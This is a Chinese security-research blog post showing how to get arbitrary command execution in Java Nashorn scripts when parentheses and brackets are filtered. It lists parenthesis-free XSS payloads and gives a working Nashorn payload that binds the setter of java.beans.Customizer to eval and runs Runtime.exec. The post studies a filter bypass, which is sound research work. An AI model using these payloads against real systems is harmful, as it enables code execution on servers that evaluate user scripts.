昨天『代码审计』知识星球里有同学向我提了一个有趣的问题：
简单来说就是，在Java的Nashorn脚本中，如果不允许使用小括号(、)和中括号[、]，如何执行任意命令？
0x01 浏览器JavaScript无括号XSS
我们知道，Nashorn脚本本质上是JavaScript，而无括号的XSS Payload其实是一个老问题了。因为JavaScript在执行函数的时候需要使用括号，所以解决问题的核心其实就是“如何不使用括号来执行函数”。
在浏览器上下文中，我们通常有这样一些思路来绕过对括号的限制：
- 使用ES6中的反引号代替括号，如
alert`23` - 使用location和伪协议来执行代码，如
location.href='javascript:alert%281%29'，这个方法我10年前曾在《利用location来变形我们的XSS Payload》这篇文章里详细介绍过 - 使用DOM相关方法写入HTML到页面，如
document.body.innerHTML=location.hash; - 使用onerror和throw来变相执行函数，如
onerror=alert;throw 23;
基本所有对于括号的绕过方法，无论怎么变形最后都归结于上述4种思路，网上也有不少人整理过Payloads，可以参考：https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md。
但是，虽然都是JavaScript，但浏览器里的这些方法并不能套用到Nashorn中：
一是Nashorn并不支持ES6语法，二是其中没有DOM相关方法，三是上下文中也没有全局对象可以注册onerror。
0x02 Fastjson：我换个衣服你就不认识我了吗？
既然JavaScript里的方法不能直接利用，我们还是需要回到Nashorn和Java中找方法。
先来做个实验，首先编写一个简单的User类，其中包含一个getter和一个setter：
package com.govuln.js;
public class User {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
然后我们编写这样一段Nashorn脚本：
var user = new com.govuln.js.User;
user.name = "Bob";
print(user.name);
调试运行可以发现，User类的setter和getter被调用了：
所以在Nashorn脚本中，当执行赋值语句时，对象的setter会被调用；当获取属性时，对象的getter会被调用。在不借助括号的情况下，通过这两种方法可以执行函数。
好像很熟悉？提出这个问题的圈友好像已经意识到了这个问题的本质是什么，其实就是Fastjson反序列化漏洞换了个皮又粉墨登场了。
所以，第一种解决问题的方法就是直接利用Fastjson相关的利用链，由于网上已经有很多介绍文章了，这里不再赘述。
0x03 Nashorn与Java接口、抽象类的利用
当然，Fastjson各个利用链都有自己的不足，有的需要连接外网，有的有Java版本限制，有的只能写文件，有的依赖第三方库。如果想要找一种更通用的利用方法，还得继续深入研究。
在阅读Nashorn的文档时，我发现一个有趣的语法：https://docs.oracle.com/en/java/javase/11/scripting/using-java-scripts.html
Nashorn支持在JavaScript中实现Java的接口和抽象类，并提供了一个特殊的语法：
var r = new java.lang.Runnable() {
run: function() {
print("running...\n");
}
};
由于调用无参构造函数可以省略括号，上述代码可以省略成这样的代码：
var r = new java.lang.Runnable {
run: print
};
如果有方法可以调用到r对象的run方法，不就等于调用了print函数吗？
再结合我们在0x02中学习到的setter方法，我们可以尝试在Java中找到一个接口或抽象类，其包含setter，我将这个setter重写成eval函数，就可以在执行赋值语句的时候执行任意代码了。
快速找到符合条件的setter，我们可以借助CodeQL或者Tabby，因为我们这次的目标非常简单，人工找甚至也可以。比如这个java.beans.Customizer接口：
public interface Customizer {
/**
* Set the object to be customized. This method should be called only
* once, before the Customizer has been added to any parent AWT container.
* @param bean The object to be customized.
*/
void setObject(Object bean);
/**
* Register a listener for the PropertyChange event. The customizer
* should fire a PropertyChange event whenever it changes the target
* bean in a way that might require the displayed properties to be
* refreshed.
*
* @param listener An object to be invoked when a PropertyChange
* event is fired.
*/
void addPropertyChangeListener(PropertyChangeListener listener);
/**
* Remove a listener for the PropertyChange event.
*
* @param listener The PropertyChange listener to be removed.
*/
void removePropertyChangeListener(PropertyChangeListener listener);
}
其就包含一个setObject()方法，且参数是一个Object，我可以传入任意类型的数据。
使用它来构造最终的Nashorn脚本如下：
var a = new java.beans.Customizer {
setObject: eval
}
a.object = "java.lang.Runtime.getRuntime\50\51.exec\50'calc.exe'\51";
执行成功弹出计算器：
0x04 总结
本文介绍了如何在不使用小括号、中括号的情况下，利用Nashorn脚本特性构造了一个结合JavaScript和Java两门语言特点的Payload，最终执行任意代码和命令的方法。
由于最初『代码审计』里这位圈友给的问题很简单，不知是否还有其他限制条件，是否能最终解决他的问题，让我赚到8块钱🤣。但光就这个场景的绕过方法，其实也挺有意思的。
参考资料：